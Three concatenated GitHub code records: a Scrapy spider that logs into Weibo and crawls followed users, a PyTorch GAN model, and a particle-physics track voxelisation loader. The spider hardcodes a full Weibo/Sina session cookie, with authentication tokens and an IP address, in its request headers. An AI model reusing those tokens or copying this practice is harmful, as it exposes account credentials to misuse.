{"seq_id":"25385549633","text":"# -*- coding: utf-8 -*-\nimport os\nimport scrapy\nfrom scrapy.utils.response import get_base_url\nfrom scrapy.spiders import Rule,CrawlSpider\nfrom scrapy.linkextractors import LinkExtractor\nfrom urllib.parse import urlparse\nfrom scrapy.http import Request,FormRequest\nfrom scrapy.selector import Selector\nfrom ScrawlWeibo.prelogin import PreLogin\nimport json\nimport re\nimport io\nimport gzip\nimport lxml\nfrom bs4 import BeautifulSoup\nfrom urllib.parse import urljoin\nclass Scrawler(CrawlSpider):\n    name = 'scrawler'\n    start_urls = [\n        #'http://newids.seu.edu.cn/authserver/login?goto=http://my.seu.edu.cn/index.portal'\n        ]\n    rules={\n            #Rule(LinkExtractor(allow=('.*')), callback='parse_user')\n        }\n    headers={\n            \"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0\",\n            \"Referer\":\"http://weibo.com/\",\n            \"Accept\":\"*/*\",\n            \"Connection\":\"keep-alive\",\n            \"Host\":\"login.sina.com.cn\",\n            \"Accept-Language\":\"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\",\n            \"Accept-Encoding\":\"gzip, deflate, br\",\n            \"Cookie\":\"U_TRS1=000000af.b4a63d29.57c7d7f5.e795e0db; UOR=www.baidu.com,blog.sina.com.cn,; SINAGLOBAL=223.3.76.88_1472714742.511501; ULV=1475935395234:14:6:5:223.3.76.88_1475931746.660821:1475931744422; vjuids=-ce103e475.156e4a68a21.0.a40e693838e5e; vjlast=1472714935.1476091377.11; lxlrtst=1475130147_o; lxlrttp=1475130147; SCF=AnJFF8L6wR9zJ4vCHpHt2dHlyIQk6Cyra1AIxugDmi0MJscTImbMappZJyQwTrv_VXpl91bqedD5-wzu9y_uno0.; SUB=_2AkMgorWXdcNhrAJZnPwUyGvgbI9H-jzEiebBAn7tJhMyAhh77lxSqSVFN6emcXZ8gvni6GG9IfWIhtxZxA..; SUBP=0033WrSXqPxfM72wWs9jqgMF55529P9D9WFxw.fzHUb0FHrpb-vmMOv35JpV2020SK.RSh27S0z0BGSDdJ2VqcRt; __gads=ID=1a44820a22e8c483:T=1476091387:S=ALNI_MbJQ7RZ0km7VLUYWkUY8Sjs-tRrLg; Apache=223.3.76.88_1476348445.370989\"\n            }\n    formdata={\n            \"encoding\":\"UTF-8\",\n            \"weibo\":\"weibo\",\n            \"from\":\"\",\n            \"gateway\":\"1\",\n            \"pagerefer\":\"\",\n            \"pwencode\":\"rsa2\",\n            \"returntype\":\"META\",\n            \"service\":\"miniblog\",\n            \"sr\":\"1920*1080\",\n            \"url\":\"http://weibo.com/ajaxlogin.php?framelogin=1&callback=parent.sinaSSOController.feedBackUrlCallBack\",\n            \"useticket\":\"1\",\n            \"vsnf\":\"1\",\n            \"prelt\":\"176\"\n            }\n    def start_requests(self):\n        print(\"start prelogin\")\n        prelogin=PreLogin()\n        data=prelogin.get_data()\n        self.formdata['su']=data['su']\n        self.formdata['sp']=data['sp']\n        self.formdata['nonce']=data['nonce']\n        self.formdata['servertime']=data['servertime']\n        self.formdata['rsakv']=data['rsakv']\n        yield FormRequest(url='http://login.sina.com.cn/sso/login.php?client=ssologin.js(v1.4.18)',\n                formdata=self.formdata,\n                callback=self.redirect)\n    def redirect(self,response):\n        print(\"redirect...\")\n        content=response.body.decode('GBK')\n        pattern=r\"location\\.replace\\('(.*?)'\\)\"\n        redirect_url=re.findall(pattern,content)[0]\n        print('going to '+redirect_url)\n        return Request(url=redirect_url,method='GET',callback=self.after_redirect)\n    def after_redirect(self,response):\n        print(\"redirected\")\n        content=response.body.decode('utf-8')\n        #print(content)\n        pattern=r'\\\"userinfo\\\":(.*?\\})\\}'\n        userinfo=re.findall(pattern,content)[0]\n        info=json.loads(userinfo)\n        homepage='http://weibo.com/u/%s/home%s'%(info['uniqueid'],info['userdomain'])\n        #print(homepage)\n        return Request(url=homepage,headers={\n            \"Accept-Encoding\": \"gzip\"\n            },callback=self.login_successful)\n    def login_successful(self,response):\n        print(\"login successful\")\n        current_url=response.url\n        #print(current_url)\n        #print(response.body)\n        #open(\"test1.html\", 'wb').write(response.body)\n        #获取自己的关注用户,粉丝\n        content=response.body\n        s=content.decode('utf-8','ignore')\n        pattern=r'/(\\d+?)/'\n        usernumber=re.findall(pattern,current_url)[0]\n        watch_url=r'/%s/follow?rightmod=1&wvr=6'%(usernumber)\n        fan_url=r'/%s/fans?rightmod=1&wvr=6'%(usernumber)\n        watch_url=urljoin(current_url,watch_url)\n        fan_url=urljoin(current_url,fan_url)\n        yield Request(url=watch_url,callback=self.get_my_watches)\n    def get_my_watches(self,response):\n        print('getting my watches...')\n        current_url=response.url\n        content=response.body.decode('utf8')\n        pattern=r'<li class=\\\\\"member_li S_bg1\\\\\"(.*?)<\\\\/li>'\n        results=re.findall(pattern,content)\n        for result in results:\n            #匹配follow的用户的<a>标签\n            pattern1=r'<div class=\\\\\"title.*?(<a.*?<\\\\/a>)'\n            tag_a=re.findall(pattern1,result)[0]\n            if 'usercard' in tag_a:\n                raw_href=re.findall(r'href=\\\\\"(.*?)\\\\\"',tag_a)[0]#用户的链接\n                title=re.findall(r'title=\\\\\"(.*?)\\\\\"',tag_a)[0]#用户名\n                usercard=re.findall(r'usercard=\\\\\"id=(.*?)\\\\\"',tag_a)[0]#用户id\n                href=raw_href.replace(r'\\/','/')\n                full_href=urljoin(current_url,href)\n                #print(title)\n                #print(full_href)\n                yield Request(url=full_href,callback=self.parse_user)\n                #print(usercard)\n                #print('分割')\n        pattern=r'<a bpfilter=\\\\\"page\\\\\" class=\\\\\"page next S_txt1 S_line1\\\\\".*?href=\\\\\"(.*?)\\\\\"><span>'\n        result=re.findall(pattern,content)\n        if result:\n            raw_url=result[0]\n            next_url=raw_url.replace(r'\\/','/')\n            full_next_url=urljoin(current_url,next_url)\n            yield Request(url=full_next_url,callback=self.get_my_watches)\n    def parse_user(self,response):\n        print('parse user')\n        current_url=response.url\n        content=response.body.decode('utf8')\n        pattern=r'<table class=\\\\\"tb_counter\\\\\".*?<tr>.*<\\\\/tr>.*?<\\\\/table>'\n        match_result=re.findall(pattern,content)\n        if match_result:\n            result=match_result[0]\n            ntag_a=re.findall(r'<a.*?a>',result)\n            if ntag_a:\n                for tag_a in ntag_a:\n                    #print(tag_a)\n                    if '微博' in tag_a:\n                        #print(tag_a)\n                        match_weibo_url=re.findall(r'href=\\\\\"(.*?)\\\\\"',tag_a)\n                        if match_weibo_url:\n                            url=match_weibo_url[0]\n                            url=url.replace(r'\\/','/')\n                            full_url=urljoin(current_url,url)\n                            yield Request(url=full_url,callback=self.get_all_weibos)\n                    if '关注' in tag_a:\n                        match_follow_url=re.findall(r'href=\\\\\"(.*?)\\\\\"',tag_a)\n                        if match_follow_url:\n                            url=match_follow_url[0]\n                            url=url.replace(r'\\/','/')                            \n                            full_url=urljoin(current_url,url)\n                    if '粉丝' in tag_a:\n                        pass\n    def get_all_weibos(self,response):\n        pass\n","repo_name":"sonas-guo-/ScrawlWeibo","sub_path":"ScrawlWeibo/ScrawlWeibo/spiders/scrawler.py","file_name":"scrawler.py","file_ext":"py","file_size_in_byte":7224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29517747281","text":"import torch.nn as nn\r\nfrom torch.nn.utils import spectral_norm\r\n\r\n\r\nclass Generator(nn.Module):\r\n    def __init__(self, opts):\r\n        super(Generator, self).__init__()\r\n        nz = opts[\"z_dim\"]\r\n        ngf = opts[\"nf\"]\r\n        nc = opts[\"nc\"]\r\n        self.main = nn.Sequential(\r\n            # input is Z, going into a convolution\r\n            nn.ConvTranspose2d(     nz, ngf * 8, 4, 1, 0, bias=False),\r\n            nn.BatchNorm2d(ngf * 8),\r\n            nn.ReLU(True),\r\n            # state size. (ngf*8) x 4 x 4\r\n            nn.ConvTranspose2d(ngf * 8, ngf * 4, 4, 2, 1, bias=False),\r\n            nn.BatchNorm2d(ngf * 4),\r\n            nn.ReLU(True),\r\n            # state size. (ngf*4) x 8 x 8\r\n            nn.ConvTranspose2d(ngf * 4, ngf * 2, 4, 2, 1, bias=False),\r\n            nn.BatchNorm2d(ngf * 2),\r\n            nn.ReLU(True),\r\n            # state size. (ngf*2) x 16 x 16\r\n            nn.ConvTranspose2d(ngf * 2,     ngf, 4, 2, 1, bias=False),\r\n            nn.BatchNorm2d(ngf),\r\n            nn.ReLU(True),\r\n            # state size. (ngf) x 32 x 32\r\n            nn.ConvTranspose2d(    ngf,      nc, 4, 2, 1, bias=False),\r\n            nn.Tanh()\r\n            # state size. (nc) x 64 x 64\r\n        )\r\n\r\n    def forward(self, input):\r\n        x = input[0]\r\n        output = self.main(x)\r\n        return output\r\n\r\n\r\nclass Discriminator(nn.Module):\r\n    def __init__(self, opts):\r\n        super(Discriminator, self).__init__()\r\n        nc = opts[\"nc\"]\r\n        ndf = opts[\"nf\"]\r\n        self.main = nn.Sequential(\r\n            # input is (nc) x 64 x 64\r\n            nn.Conv2d(nc, ndf, 3, 1, 1, bias=False),\r\n            nn.LeakyReLU(0.2, inplace=True),\r\n            nn.Conv2d(ndf, ndf, 4, 2, 1, bias=False),\r\n            nn.LeakyReLU(0.2, inplace=True),\r\n            # state size. (ndf) x 32 x 32\r\n            nn.Conv2d(ndf, ndf * 2, 3, 1, 1, bias=False),\r\n            nn.LeakyReLU(0.2, inplace=True),\r\n            nn.Conv2d(ndf * 2, ndf * 2, 4, 2, 1, bias=False),\r\n            nn.LeakyReLU(0.2, inplace=True),\r\n            # state size. (ndf*2) x 16 x 16\r\n            nn.Conv2d(ndf * 2, ndf * 4, 3, 1, 1, bias=False),\r\n            nn.LeakyReLU(0.2, inplace=True),\r\n            nn.Conv2d(ndf * 4, ndf * 4, 4, 2, 1, bias=False),\r\n            nn.LeakyReLU(0.2, inplace=True),\r\n            # state size. (ndf*4) x 8 x 8\r\n            nn.Conv2d(ndf * 4, ndf * 8, 3, 1, 1, bias=False),\r\n            nn.LeakyReLU(0.2, inplace=True),\r\n            nn.Conv2d(ndf * 8, ndf * 8, 4, 2, 1, bias=False),\r\n            nn.LeakyReLU(0.2, inplace=True),\r\n            # state size. (ndf*8) x 4 x 4\r\n            nn.Conv2d(ndf * 8, ndf * 8, 4, 1, 0, bias=False),\r\n            nn.LeakyReLU(0.2, inplace=True),\r\n            # state size. (ndf*8) x 1 x 1\r\n            # nn.Sigmoid()\r\n        )\r\n        self.dense = nn.Linear(ndf * 8, 1)\r\n\r\n    def forward(self, input):\r\n        x = input[0]\r\n        feat = self.main(x)\r\n        bb = feat.size(0)\r\n        logits = self.dense(feat.view(bb, -1))\r\n\r\n        return logits.squeeze(1), feat\r\n","repo_name":"ZhihaoDU/du2020dan","sub_path":"models/StdCNN.py","file_name":"StdCNN.py","file_ext":"py","file_size_in_byte":3020,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"}
{"seq_id":"7775728134","text":"import ROOT\nimport numpy as np\nfrom larcv import larcv\nfrom larlite import larlite\nfrom array import *\nfrom larlite import larutil\nfrom ublarcvapp import ublarcvapp\nfrom MiscFunctions import cropped_np, unravel_array, reravel_array, paste_target\nfrom LArVoxelModel import LArVoxelModel\nfrom VoxelFunctions import Voxelator\n\nclass LArVoxLoader():\n    def __init__(self, PARAMS, verbose=False):\n        self.PARAMS = PARAMS\n        self.verbose = verbose\n        self.truthtrack_SCE = ublarcvapp.mctools.TruthTrackSCE()\n        self.iocv = None\n        self.LArVoxelNet = None\n        if PARAMS['USE_CONV_IM'] == False:\n            self.iocv =  larcv.IOManager(larcv.IOManager.kREAD,\"io\",larcv.IOManager.kTickBackward)\n            self.iocv.set_verbosity(5)\n            self.iocv.reverse_all_products() # Do I need this?\n            self.iocv.add_in_file(self.PARAMS['INFILE'])\n            self.iocv.initialize()\n        else:\n            self.LArVoxelNet = LArVoxelModel(self.PARAMS)\n\n        # if deploy == True:\n        self.iocv =  larcv.IOManager(larcv.IOManager.kREAD,\"io\",larcv.IOManager.kTickBackward)\n        self.iocv.set_verbosity(5)\n        self.iocv.reverse_all_products() # Do I need this?\n        self.iocv.add_in_file(self.PARAMS['INFILE'])\n        self.iocv.initialize()\n        self.ioll = larlite.storage_manager(larlite.storage_manager.kREAD)\n        self.ioll.add_in_filename(self.PARAMS['INFILE'])\n        self.ioll.open()\n\n        self.nentries_ll = self.ioll.get_entries()\n\n        print()\n        print(\"Total Events in File:        \", self.nentries_ll)\n        print()\n        self.PDG_to_Part = {\n        2212:\"PROTON\",\n        2112:\"NEUTRON\",\n        211:\"PIPLUS\",\n        -211:\"PIMINUS\",\n        111:\"PI0\",\n        11:\"ELECTRON\",\n        -11:\"POSITRON\",\n        13:\"MUON\",\n        -13:\"ANTIMUON\",\n        }\n        self.currentEntry = 0\n        self.voxelator = Voxelator(self.PARAMS,\"LARVOXNETMICROBOONE\")\n\n    def load_fancy(self):\n        voxfeatures_vv     = []\n        voxSteps_vv        = []\n        run_v              = []\n        subrun_v           = []\n        eventid_v          = []\n        entry_v            = []\n        mctrack_idx_v      = []\n        mctrack_length_v   = []\n        mctrack_pdg_v      = []\n        mctrack_energy_v   = []\n        charge_in_wires_v  = []\n        charge_in_truths_v = []\n        minVoxCoords_v     = []\n        maxVoxCoords_v     = []\n\n        print(\"Event \", self.currentEntry)\n        self.iocv.read_entry(self.currentEntry)\n        self.ioll.go_to(self.currentEntry)\n        ev_mctrack = self.ioll.get_data(larlite.data.kMCTrack, \"mcreco\")\n        # Get Wire ADC Image to a Numpy Array\n        meta      = None\n        run       = -1\n        subrun    = -1\n        event     = -1\n        print(\"NOT PERFORMING FEATS FROM LARVOX\")\n        feats, run, subrun, event, meta = self.LArVoxelNet.get_larvoxel_features(self.currentEntry)\n        self.meta = meta\n        # feats = np.random.rand(1,35)\n        # feats[0,0:3] = 0\n        # ev_ancestor    = self.iocv.get_data(larcv.kProductImage2D,\"ancestor\")\n        # anc_v = ev_ancestor.Image2DArray()\n\n        print(\"Number of Tracks\", len(ev_mctrack))\n        #Note this is more than all the steps in mctrack, we will interpolate voxels between steps\n        # Formatted as x,y,z,stepIdx (voxel coord)\n        for mctk_idx in range(0,len(ev_mctrack)):\n            print(\"  TrackNum\",mctk_idx)\n            # if mctk_idx != 1:\n            #     continue\n            voxSteps_v = []\n\n            mctrack = ev_mctrack[mctk_idx]\n            this_pdg = mctrack.PdgCode()\n            if this_pdg not in self.PDG_to_Part or self.PDG_to_Part[this_pdg] not in [\"PROTON\",\"MUON\",\"PIPLUS\",\"PIMINUS\",\"PI0\"]:\n                print(\"Not right particle\", this_pdg)\n                continue\n            this_length = mctrack_length(mctrack)\n            this_energy = mctrack.Start().E()\n            if this_length < self.PARAMS['MIN_TRACK_LENGTH']:\n                print(\"Too Short:\",this_length)\n                continue\n            sce_track = self.truthtrack_SCE.applySCE(mctrack)\n            xpt_list = []\n            ypt_list = []\n            pos3d_v, vox3d_v, minVoxCoords, maxVoxCoords = self.collectMCTrackInfo(sce_track)\n            if len(vox3d_v) < 2:\n                print(\"Not enough Steps\", len(vox3d_v))\n                continue\n\n            # Now you have a list of 3D voxels for the mcsteps. Lets grab points\n            # along the line segments creating as small a step as possible\n            for ptidx in range(1,len(vox3d_v)):\n                # print(\"    MCPt:\",ptidx)\n                last_x = vox3d_v[ptidx-1][0]\n                last_y = vox3d_v[ptidx-1][1]\n                last_z = vox3d_v[ptidx-1][2]\n                this_x = vox3d_v[ptidx][0]\n                this_y = vox3d_v[ptidx][1]\n                this_z = vox3d_v[ptidx][2]\n                if this_x == last_x and this_y == last_y and this_z == last_z:\n                    continue\n                # Add Previous Step\n                # Fill in steps between [last,this) (inclusive, not inclusive)\n\n                self.addInterpolatedSteps(voxSteps_v, last_x, last_y, last_z, this_x, this_y, this_z)\n\n            # Add last step point\n            if not (vox3d_v[-1][0] == vox3d_v[-2][0] and vox3d_v[-1][1] == vox3d_v[-2][1] and vox3d_v[-1][2] == vox3d_v[-2][2]):\n                voxSteps_v.append([vox3d_v[-1][0],vox3d_v[-1][1],vox3d_v[-1][2], len(voxSteps_v)+1])\n\n            # for ixx in range(1,len(voxSteps_v)):\n            #     if abs(voxSteps_v[ixx][0] - voxSteps_v[ixx-1][0]) > 1:\n            #         print(voxSteps_v[ixx-1][:])\n            #         print(voxSteps_v[ixx][:])\n            #         assert 1==2\n            #     if abs(voxSteps_v[ixx][1] - voxSteps_v[ixx-1][1]) > 1:\n            #         print(voxSteps_v[ixx-1][:])\n            #         print(voxSteps_v[ixx][:])\n            #         assert 1==2\n            #     if abs(voxSteps_v[ixx][2] - voxSteps_v[ixx-1][2]) > 1:\n            #         print(voxSteps_v[ixx-1][:])\n            #         print(voxSteps_v[ixx][:])\n            #         assert 1==2\n\n\n            # # TODO HERE\n            # # This function crops the features and ancestor image, as well as\n            # feats_np_v = [u_feat_np, v_feat_np, y_feat_np]\n            # anc_np_v   = [larcv.as_ndarray(anc_v[0]), larcv.as_ndarray(anc_v[1]), larcv.as_ndarray(anc_v[2])]\n            # This modifies the minVoxCoords to adjust them to the crop\n            cropped_feats_np_v, newminVoxCoords, newmaxVoxCoords = self.cropTrack(feats, minVoxCoords, maxVoxCoords)\n            minVoxCoords = newminVoxCoords\n            maxVoxCoords = newmaxVoxCoords\n\n            # chg_in_wires  = np.zeros((3))\n            # chg_in_truths = np.zeros((3))\n            # for p in range(3):\n            #     cropped_anc_np_v[p][cropped_anc_np_v[p] < 0] = 0\n            #     cropped_anc_np_v[p][cropped_anc_np_v[p] > 0] = 1\n            #     chg_in_wire  = np.sum(cropped_feats_np_v[p][:,:,-1]).copy()\n            #     chg_in_truth = np.sum(cropped_anc_np_v[p]*cropped_feats_np_v[p][:,:,-1]).copy()\n            #     chg_in_wires[p]  = chg_in_wire\n            #     chg_in_truths[p] = chg_in_truth\n\n            voxSteps_np_v = np.zeros((len(voxSteps_v),4))\n            for idxx in range(len(voxSteps_v)):\n                voxSteps_np_v[idxx,0] = voxSteps_v[idxx][0]\n                voxSteps_np_v[idxx,1] = voxSteps_v[idxx][1]\n                voxSteps_np_v[idxx,2] = voxSteps_v[idxx][2]\n                voxSteps_np_v[idxx,3] = voxSteps_v[idxx][3]\n            voxSteps_v = np.array(voxSteps_v)\n            minVoxCoords_np = np.array(minVoxCoords.copy())\n            maxVoxCoords_np = np.array(maxVoxCoords.copy())\n\n            voxfeatures_vv.append(cropped_feats_np_v.copy())\n            voxSteps_vv.append(voxSteps_np_v.copy())\n            run_v.append(run)\n            subrun_v.append(subrun)\n            eventid_v.append(event)\n            entry_v.append(self.currentEntry)\n            mctrack_idx_v.append(mctk_idx)\n            mctrack_length_v.append(this_length)\n            mctrack_pdg_v.append(this_pdg)\n            mctrack_energy_v.append(this_energy)\n            # charge_in_wires_v.append(chg_in_wires)\n            # charge_in_truths_v.append(chg_in_truths)\n            minVoxCoords_v.append(minVoxCoords_np)\n            maxVoxCoords_v.append(maxVoxCoords_np)\n\n        self.currentEntry += 1\n        returnDict = {}\n        returnDict[\"voxfeatures_vv\"]            = voxfeatures_vv\n        returnDict[\"voxSteps_vv\"]               = voxSteps_vv\n        returnDict[\"run_v\"]                     = run_v\n        returnDict[\"subrun_v\"]                  = subrun_v\n        returnDict[\"eventid_v\"]                 = eventid_v\n        returnDict[\"entry_v\"]                   = entry_v\n        returnDict[\"mctrack_idx_v\"]             = mctrack_idx_v\n        returnDict[\"mctrack_length_v\"]          = mctrack_length_v\n        returnDict[\"mctrack_pdg_v\"]             = mctrack_pdg_v\n        returnDict[\"mctrack_energy_v\"]          = mctrack_energy_v\n        # returnDict[\"charge_in_wires_v\"]         = charge_in_wires_v\n        # returnDict[\"charge_in_truths_v\"]        = charge_in_truths_v\n        returnDict[\"minVoxCoords_v\"]            = minVoxCoords_v\n        returnDict[\"maxVoxCoords_v\"]            = maxVoxCoords_v\n        return returnDict\n\n\n    def collectMCTrackInfo(self, sce_track):\n        pos3d_v     = []\n        vox3d_v     = []\n        minVoxCoords  = [9999999, 9999999, 9999999]\n        maxVoxCoords  = [-1, -1, -1]\n        lastVoxcoords = [-1, -1, -1]\n        for pos_idx  in range(sce_track.NumberTrajectoryPoints()):\n            sce_step = sce_track.LocationAtPoint(pos_idx)\n            x = sce_step.X()\n            y = sce_step.Y()\n            z = sce_step.Z()\n            if is_inside_boundaries(x,y,z) == False:\n                continue\n            if pos_idx != 0 and x == sce_track.LocationAtPoint(pos_idx-1).X() and y == sce_track.LocationAtPoint(pos_idx-1).Y() and z == sce_track.LocationAtPoint(pos_idx-1).Z():\n                continue\n\n            thisPos3d = [x,y,z]\n            thisVox3d = self.voxelator.getVoxelCoord(thisPos3d)\n            if thisVox3d == lastVoxcoords:\n                continue\n            lastVoxcoords = thisVox3d\n            pos3d_v.append(thisPos3d)\n            vox3d_v.append(thisVox3d)\n            for i in range(3):\n                if thisVox3d[i] < minVoxCoords[i]:\n                    minVoxCoords[i] = thisVox3d[i]\n                if thisVox3d[i] > maxVoxCoords[i]:\n                    maxVoxCoords[i] = thisVox3d[i]\n\n        return pos3d_v, vox3d_v, minVoxCoords, maxVoxCoords\n\n    def addInterpolatedSteps(self, voxSteps_v, last_x, last_y, last_z, this_x, this_y, this_z):\n        # This is complicated, we're going to interpolate steps between last and this\n        # In order to do this we need to move in the fastest changing direction primarily\n        # then the medium changing direction, then the slowest change direction\n        # To see a 2D version see the FancyLoader.py  (not 3D) That has an option\n        # for each case, whereas this determines the fastest and slowest and only\n        # gets coded once (no \"if x is fastest\" statements)\n        # print(\"Going from \")\n        # print(last_x, last_y, last_z)\n        # print(\"to\")\n        # print(this_x, this_y, this_z)\n\n\n        dx = this_x - last_x\n        dy = this_y - last_y\n        dz = this_z - last_z\n        deltas = [dx,dy,dz]\n        deltasAbs = [abs(dx),abs(dy),abs(dz)]\n        idxAvail = [0,1,2]\n        # Get Order of Fastest changing directions\n        fastestChanging = 0\n        mediumChanging  = 1\n        slowestChanging = 2\n        if max(deltasAbs) != min(deltasAbs):\n            fastestChanging = deltasAbs.index(max(deltasAbs))\n            slowestChanging = deltasAbs.index(min(deltasAbs))\n            idxAvail.pop(idxAvail.index(fastestChanging))\n            idxAvail.pop(idxAvail.index(slowestChanging))\n            mediumChanging = idxAvail[0]\n\n        dxChangeIdx, dyChangeIdx, dzChangeIdx = self.getChangeIdxs(fastestChanging, mediumChanging, slowestChanging)\n        dFastest = deltas[fastestChanging]\n        dMedium  = deltas[mediumChanging]\n        dSlowest = deltas[slowestChanging]\n\n        low = 0         if dFastest > 0 else dFastest+1 #Add one because range is [) inclusive on first arg, exclusive on second\n        high = dFastest if dFastest > 0 else 0+1\n        ddFastest_list = range(low,high) if dFastest > 0 else reversed(range(low,high))\n        # print(\"    \", low, high, dFastest)\n        for ddFastest in ddFastest_list:\n            # print(\"    V:\",ddFastest)\n            ddMedium  = int(round(ddFastest*(dMedium*1.0)/(dFastest)))\n            ddSlowest = int(round(ddFastest*(dSlowest*1.0)/(dFastest)))\n            dds = [ddFastest, ddMedium, ddSlowest]\n            ddx = dds[dxChangeIdx]\n            ddy = dds[dyChangeIdx]\n            ddz = dds[dzChangeIdx]\n            voxSteps_v.append([last_x+ddx, last_y+ddy, last_z+ddz, len(voxSteps_v)+1])\n            # print(\"    \",[last_x+ddx, last_y+ddy, last_z+ddz, len(voxSteps_v)+1])\n\n            if len(voxSteps_v) > 1:\n                if abs(voxSteps_v[-2][0] - voxSteps_v[-1][0]) > 1 or \\\n                abs(voxSteps_v[-2][1] - voxSteps_v[-1][1]) > 1 or \\\n                abs(voxSteps_v[-2][2] - voxSteps_v[-1][2]) > 1:\n                    print(\"\\nDebugError On Jumping\")\n                    print(last_x, last_y, last_z)\n                    print(this_x, this_y, this_z)\n                    print(dx,dy,dz)\n                    print()\n                    print(voxSteps_v[-2][:])\n                    print(voxSteps_v[-1][:])\n                    # assert 1==2\n        # for i in range(len(voxSteps_v)):\n        #     print(voxSteps_v[i])\n\n    def getChangeIdxs(self, fastestChanging, mediumChanging, slowestChanging):\n        dxChangeIdx = None\n        dyChangeIdx = None\n        dzChangeIdx = None\n        # Get X\n        if fastestChanging == 0:\n            dxChangeIdx = 0\n        elif mediumChanging == 0:\n            dxChangeIdx = 1\n        else:\n            dxChangeIdx = 2\n        # Get Y\n        if fastestChanging == 1:\n            dyChangeIdx = 0\n        elif mediumChanging == 1:\n            dyChangeIdx = 1\n        else:\n            dyChangeIdx = 2\n        # Get Z\n        if fastestChanging == 2:\n            dzChangeIdx = 0\n        elif mediumChanging == 2:\n            dzChangeIdx = 1\n        else:\n            dzChangeIdx = 2\n        return dxChangeIdx, dyChangeIdx, dzChangeIdx\n\n    def cropTrack(self, feats_np, minVoxCoords, maxVoxCoords):\n        # feats_np is a N x 3+nFeatures np array where:\n        # 3 is xyz coords\n        # nFeatures is the features from larvoxel\n        # N is the number of nonzero voxels in the detector\n        cropped_feats_np_v = []\n        newminVoxCoords = [minVoxCoords[p] - 20 for p in range(3)]\n        newmaxVoxCoords = [maxVoxCoords[p] + 20 for p in range(3)]\n        for i in range(feats_np.shape[0]):\n            if feats_np[i,0] >= newminVoxCoords[0] and feats_np[i,0] < newmaxVoxCoords[0]:\n                if feats_np[i,1] >= newminVoxCoords[1] and feats_np[i,1] < newmaxVoxCoords[1]:\n                    if feats_np[i,2] >= newminVoxCoords[2] and feats_np[i,2] < newmaxVoxCoords[2]:\n                        cropped_feats_np_v.append(feats_np[i,:].copy())\n        cropped_feats_np_v = np.array(cropped_feats_np_v)\n\n\n        return cropped_feats_np_v, newminVoxCoords, newmaxVoxCoords\n\ndef is_inside_boundaries(xt,yt,zt,buffer = 0):\n    x_in = (xt <  255.999-buffer) and (xt >    0.001+buffer)\n    y_in = (yt <  116.499-buffer) and (yt > -116.499+buffer)\n    z_in = (zt < 1036.999-buffer) and (zt >    0.001+buffer)\n    if x_in == True and y_in == True and z_in == True:\n        return True\n    else:\n        return False\n\n\ndef getprojectedpixel(meta,x,y,z,returnAll=False):\n\n    nplanes = 3\n    fracpixborder = 1.5\n    row_border = fracpixborder*meta.pixel_height();\n    col_border = fracpixborder*meta.pixel_width();\n\n    img_coords = [-1,-1,-1,-1]\n    tick = x/(larutil.LArProperties.GetME().DriftVelocity()*larutil.DetectorProperties.GetME().SamplingRate()*1.0e-3) + 3200.0;\n    if ( tick < meta.min_y() ):\n        if ( tick > meta.min_y()- row_border ):\n            # below min_y-border, out of image\n            img_coords[0] = meta.rows()-1 # note that tick axis and row indicies are in inverse order (same order in larcv2)\n        else:\n            # outside of image and border\n            img_coords[0] = -1\n    elif ( tick > meta.max_y() ):\n        if (tick < meta.max_y()+row_border):\n            # within upper border\n            img_coords[0] = 0;\n        else:\n            # outside of image and border\n            img_coords[0] = -1;\n\n    else:\n        # within the image\n        img_coords[0] = meta.row( tick );\n\n\n    # Columns\n    # xyz = [ x, y, z ]\n    xyz = array('d', [x,y,z])\n\n    # there is a corner where the V plane wire number causes an error\n    if ( (y>-117.0 and y<-116.0) and z<2.0 ):\n        xyz[1] = -116.0;\n\n    for p in range(nplanes):\n        wire = larutil.Geometry.GetME().WireCoordinate( xyz, p );\n\n        # get image coordinates\n        if ( wire<meta.min_x() ):\n            if ( wire>meta.min_x()-col_border ):\n                # within lower border\n                img_coords[p+1] = 0;\n            else:\n                img_coords[p+1] = -1;\n        elif ( wire>=meta.max_x() ):\n            if ( wire<meta.max_x()+col_border ):\n                # within border\n                img_coords[p+1] = meta.cols()-1\n            else:\n                # outside border\n                img_coords[p+1] = -1\n        else:\n        # inside image\n            img_coords[p+1] = meta.col( wire );\n        # end of plane loop\n\n    # there is a corner where the V plane wire number causes an error\n    if ( y<-116.3 and z<2.0 and img_coords[1+1]==-1 ):\n        img_coords[1+1] = 0;\n\n    if returnAll:\n        # row, colu, colv, coly\n        return img_coords\n    else:\n        col = img_coords[2+1]\n        row = img_coords[0]\n        return col,row\n\ndef mcstep_length(step1,step2):\n    # Check both steps inside detector\n    if is_inside_boundaries(step1.X(),step1.Y(),step1.Z()) == False or is_inside_boundaries(step2.X(),step2.Y(),step2.Z()) == False:\n        return 0\n    # Return Distance\n    dist = ((step2.X() - step1.X())**2 + (step2.Y() - step1.Y())**2 + (step2.Z() - step1.Z())**2)**0.5\n    return dist\n\ndef mctrack_length(mctrack_in):\n    total_dist = 0\n    for step_idx in range(mctrack_in.size()):\n        if step_idx != 0:\n            total_dist += mcstep_length(mctrack_in[step_idx-1],mctrack_in[step_idx])\n    return total_dist\n","repo_name":"jmills09/TrackWalker","sub_path":"LArVoxLoader.py","file_name":"LArVoxLoader.py","file_ext":"py","file_size_in_byte":18663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
